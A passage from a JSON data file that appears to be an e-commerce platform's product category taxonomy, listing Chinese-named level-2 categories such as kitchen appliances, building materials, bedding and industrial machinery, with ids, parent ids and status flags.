:null,"is_get_child":false},{"id":21106,"name":"酸奶机","parent_cid":20065,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21349,"name":"台式净饮机","parent_cid":20065,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21097,"name":"微波炉","parent_cid":20065,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21165,"name":"养生壶/煎药壶","parent_cid":20065,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21109,"name":"饮水机","parent_cid":20065,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21094,"name":"原汁机","parent_cid":20065,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21098,"name":"榨汁机","parent_cid":20065,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21397,"name":"智能厨房电器","parent_cid":20065,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21169,"name":"煮蛋器/蒸蛋器","parent_cid":20065,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21390,"name":"其它厨房家电","parent_cid":20065,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21391,"name":"其它商用厨电","parent_cid":20065,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20953,"name":"板材","parent_cid":20066,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20956,"name":"玻璃","parent_cid":20066,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21357,"name":"雕花件系列","parent_cid":20066,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21250,"name":"防水材料","parent_cid":20066,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21113,"name":"隔断墙","parent_cid":20066,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21251,"name":"隔热材料","parent_cid":20066,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21252,"name":"隔音材料","parent_cid":20066,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21111,"name":"硅钙板","parent_cid":20066,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":33708,"name":"胶类","parent_cid":20066,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":21247,"name":"家用五金","parent_cid":20066,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":21356,"name":"门窗密封条","parent_cid":20066,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20952,"name":"木方","parent_cid":20066,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21249,"name":"配件专区","parent_cid":20066,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":21354,"name":"人造大理石","parent_cid":20066,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20922,"name":"沙/石","parent_cid":20066,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20957,"name":"砂岩","parent_cid":20066,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21110,"name":"石膏板","parent_cid":20066,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21248,"name":"水管管材","parent_cid":20066,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20954,"name":"水泥","parent_cid":20066,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21355,"name":"天然大理石","parent_cid":20066,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21454,"name":"涂料(乳胶漆)","parent_cid":20066,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20958,"name":"线条","parent_cid":20066,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21400,"name":"新型装饰材料","parent_cid":20066,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21112,"name":"阳光房","parent_cid":20066,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20955,"name":"油漆","parent_cid":20066,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20920,"name":"砖","parent_cid":20066,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":21399,"name":"其它基础建材","parent_cid":20066,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20951,"name":"其它","parent_cid":20066,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20909,"name":"3D模型摆件","parent_cid":20070,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20963,"name":"摆件","parent_cid":20070,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20962,"name":"壁饰","parent_cid":20070,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21258,"name":"创意饰品","parent_cid":20070,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21358,"name":"风铃及配件","parent_cid":20070,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21119,"name":"工艺船","parent_cid":20070,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21117,"name":"工艺伞","parent_cid":20070,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21118,"name":"工艺扇","parent_cid":20070,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21063,"name":"户外/庭院摆件","parent_cid":20070,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21259,"name":"家居香薰","parent_cid":20070,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":21330,"name":"家居钟饰/闹钟","parent_cid":20070,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21464,"name":"家饰软装搭配套装","parent_cid":20070,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21015,"name":"蜡烛/烛台","parent_cid":20070,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21260,"name":"流水摆件","parent_cid":20070,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20964,"name":"贴饰","parent_cid":20070,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21014,"name":"相框/画框","parent_cid":20070,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21049,"name":"照片/照片墙","parent_cid":20070,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21120,"name":"执照框","parent_cid":20070,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21263,"name":"装饰挂钩","parent_cid":20070,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21262,"name":"装饰挂牌","parent_cid":20070,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21121,"name":"装饰画","parent_cid":20070,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21182,"name":"装饰架/装饰搁板","parent_cid":20070,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21261,"name":"装饰器皿","parent_cid":20070,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21403,"name":"其他工艺饰品","parent_cid":20070,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21381,"name":"背景墙软包/床头套/工艺软包","parent_cid":20071,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20965,"name":"厨房","parent_cid":20071,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20969,"name":"瓷砖","parent_cid":20071,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":34053,"name":"阀门系统","parent_cid":20071,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21030,"name":"环保/除味/保养","parent_cid":20071,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":21171,"name":"晾衣架/晾衣杆","parent_cid":20071,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":21044,"name":"墙布/壁布/布面墙纸","parent_cid":20071,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20966,"name":"墙纸","parent_cid":20071,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":21265,"name":"卫浴用品","parent_cid":20071,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20968,"name":"浴霸","parent_cid":20071,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":21267,"name":"餐桌布艺","parent_cid":20072,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":21455,"name":"窗帘门帘及配件","parent_cid":20072,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":21266,"name":"刺绣套件","parent_cid":20072,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20970,"name":"地垫","parent_cid":20072,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20971,"name":"地毯","parent_cid":20072,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21359,"name":"防尘保护罩","parent_cid":20072,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":21404,"name":"纺织品填充物","parent_cid":20072,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21078,"name":"缝纫DIY材料、工具及成品","parent_cid":20072,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":21016,"name":"挂毯/壁毯","parent_cid":20072,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21162,"name":"海绵垫/布料/面料/手工diy","parent_cid":20072,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21342,"name":"家纺布艺/布料面料缝制服务","parent_cid":20072,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21161,"name":"居家鞋/凉拖/棉拖(新)","parent_cid":20072,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":21050,"name":"靠枕/抱枕新","parent_cid":20072,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":21031,"name":"毛巾/浴巾/浴袍","parent_cid":20072,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":21465,"name":"十字绣及工具配件","parent_cid":20072,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":21039,"name":"坐垫/椅垫/沙发垫","parent_cid":20072,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":21163,"name":"保暖贴/怀炉/保暖用品","parent_cid":20073,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21484,"name":"创意礼品","parent_cid":20073,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":21269,"name":"防护用品","parent_cid":20073,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20974,"name":"挂历","parent_cid":20073,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21485,"name":"婚庆用品","parent_cid":20073,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":21405,"name":"家居健康用品","parent_cid":20073,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":21406,"name":"家用五金工具","parent_cid":20073,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":21407,"name":"居家日用套装","parent_cid":20073,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21066,"name":"美体/塑身塑形/增高用具","parent_cid":20073,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":21271,"name":"驱虫用品","parent_cid":20073,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":21123,"name":"热水袋(注水)","parent_cid":20073,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20924,"name":"伞/雨具/防雨/防潮","parent_cid":20073,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20925,"name":"扇/迷你风扇/配件/冰垫/冰贴","parent_cid":20073,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":21122,"name":"书写板","parent_cid":20073,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20973,"name":"台历","parent_cid":20073,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21125,"name":"鞋用品","parent_cid":20073,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20921,"name":"钟","parent_cid":20073,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":21487,"name":"装扮用品","parent_cid":20073,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20987,"name":"被套","parent_cid":20074,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20988,"name":"被子","parent_cid":20074,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":21336,"name":"布艺蛋糕/蛋糕毛巾","parent_cid":20074,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20976,"name":"床单","parent_cid":20074,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21041,"name":"床垫/床褥/床护垫/榻榻米床垫","parent_cid":20074,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20978,"name":"床盖","parent_cid":20074,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20979,"name":"床笠","parent_cid":20074,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20977,"name":"床幔","parent_cid":20074,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21331,"name":"床品定制/定做","parent_cid":20074,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21274,"name":"床品配件","parent_cid":20074,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21273,"name":"床品套件","parent_cid":20074,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20981,"name":"床裙","parent_cid":20074,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20980,"name":"床罩","parent_cid":20074,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21272,"name":"儿童床品","parent_cid":20074,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":21036,"name":"凉席/竹席/藤席/草席/牛皮席","parent_cid":20074,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20985,"name":"睡袋","parent_cid":20074,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20986,"name":"蚊帐","parent_cid":20074,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21160,"name":"休闲毯/毛毯/绒毯","parent_cid":20074,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20984,"name":"枕巾","parent_cid":20074,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20983,"name":"枕套","parent_cid":20074,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20982,"name":"枕头","parent_cid":20074,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20975,"name":"其它","parent_cid":20074,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21414,"name":"家庭防尘用具","parent_cid":20076,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":21412,"name":"家庭收纳用具","parent_cid":20076,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":21413,"name":"家庭整理用具","parent_cid":20076,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":21415,"name":"旅行收纳用具","parent_cid":20076,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":21152,"name":"衣物洗/晒/护理用具","parent_cid":20076,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":21279,"name":"其他收纳","parent_cid":20076,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21307,"name":"包装设备","parent_cid":20082,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":21318,"name":"茶叶设备","parent_cid":20082,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":21428,"name":"电影放映设备","parent_cid":20082,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21471,"name":"电子产品制造设备","parent_cid":20082,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21366,"name":"防雷电设备","parent_cid":20082,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21316,"name":"粉碎设备","parent_cid":20082,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":21184,"name":"孵化器/孵化设备","parent_cid":20082,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21180,"name":"干燥机/干燥箱/烘干机","parent_cid":20082,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21337,"name":"工程机械/建筑机械","parent_cid":20082,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":21365,"name":"工业加湿器","parent_cid":20082,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21468,"name":"广播电视传媒设备","parent_cid":20082,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21003,"name":"锅炉","parent_cid":20082,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21319,"name":"过滤设备","parent_cid":20082,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21308,"name":"化工设备","parent_cid":20082,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21469,"name":"环境污染防治设备","parent_cid":20082,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":21467,"name":"交通控制管理设备","parent_cid":20082,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21002,"name":"机床","parent_cid":20082,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21317,"name":"节能设备","parent_cid":20082,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21311,"name":"机器视觉","parent_cid":20082,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":21315,"name":"空分设备","parent_cid":20082,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21430,"name":"空气净化设备","parent_cid":20082,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21131,"name":"口罩机","parent_cid":20082,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21429,"name":"矿山专用设备","parent_cid":20082,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20914,"name":"LED生产及检测设备","parent_cid":20082,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21057,"name":"雷达/无线电/导航设备","parent_cid":20082,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21382,"name":"美发店设备/理发设备","parent_cid":20082,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21426,"name":"模具加工设备","parent_cid":20082,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21340,"name":"农业机械/园林设备/畜牧设备","parent_cid":20082,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21313,"name":"汽修设备","parent_cid":20082,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21302,"name":"乳品设备","parent_cid":20082,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":21470,"name":"生物识别技术设备","parent_cid":20082,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21073,"name":"食品/饮料加工设备","parent_cid":20082,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":21132,"name":"试验机","parent_cid":20082,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21310,"name":"塑料机械","parent_cid":20082,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":21431,"name":"通信传输设备","parent_cid":20082,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21314,"name":"涂装设备","parent_cid":20082,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21312,"name":"橡胶设备","parent_cid":20082,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21427,"name":"消毒灭菌设备","parent_cid":20082,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21130,"name":"压缩机","parent_cid":20082,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21303,"name":"冶炼设备","parent_cid":20082,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21309,"name":"印刷设备","parent_cid":20082,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21068,"name":"造纸/纸加工设备","parent_cid":20082,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21304,"name":"制冷设备","parent_cid":20082,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21306,"name":"制鞋机械","parent_cid":20082,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21380,"name":"自动售票机/售卡机/取票机","parent_cid":20082,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21425,"name":"其他机械设备","parent_cid":20082,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21151,"name":"保温碟/垫","parent_cid":20083,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21075,"name":"便携/挂脖空气净化器","parent_cid":20083,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21367,"name":"冰箱除味器","parent_cid":20083,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21370,"name":"擦窗机器人","parent_cid":20083,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21069,"name":"擦地/拖地机器人","parent_cid":20083,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21140,"name":"擦鞋器","parent_cid":20083,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21437,"name":"超声波清洗机","parent_cid":20083,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21173,"name":"抽湿器/除湿器","parent_cid":20083,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21147,"name":"除螨仪","parent_cid":20083,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21372,"name":"电动清洁刷","parent_cid":20083,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21338,"name":"电动拖把/电动扫把","parent_cid":20083,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21145,"name":"电风扇","parent_cid":20083,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21149,"name":"电话机(有绳/无绳/网络)","parent_cid":20083,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21126,"name":"电热毯/水暖毯","parent_cid":20083,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21144,"name":"电熨斗","parent_cid":20083,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27722,"name":"电子灭蚊器","parent_cid":20083,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21436,"name":"电子温湿度计","parent_cid":20083,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21004,"name":"吊扇","parent_cid":20083,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21474,"name":"多功能空气质量检测仪","parent_cid":20083,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21138,"name":"干鞋器","parent_cid":20083,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21137,"name":"干衣机","parent_cid":20083,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21174,"name":"换气扇/排气扇","parent_cid":20083,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21133,"name":"加湿器","parent_cid":20083,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21134,"name":"加香机","parent_cid":20083,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21371,"name":"家用毛刷/毛球修剪器(非电动)","parent_cid":20083,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21368,"name":"家用新风机","parent_cid":20083,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21146,"name":"空调扇","parent_cid":20083,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21459,"name":"空气净化机器人","parent_cid":20083,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21373,"name":"空气净化器","parent_cid":20083,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21375,"name":"空气消毒机","parent_cid":20083,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21379,"name":"快速制冷杯/制暖杯","parent_cid":20083,"level":2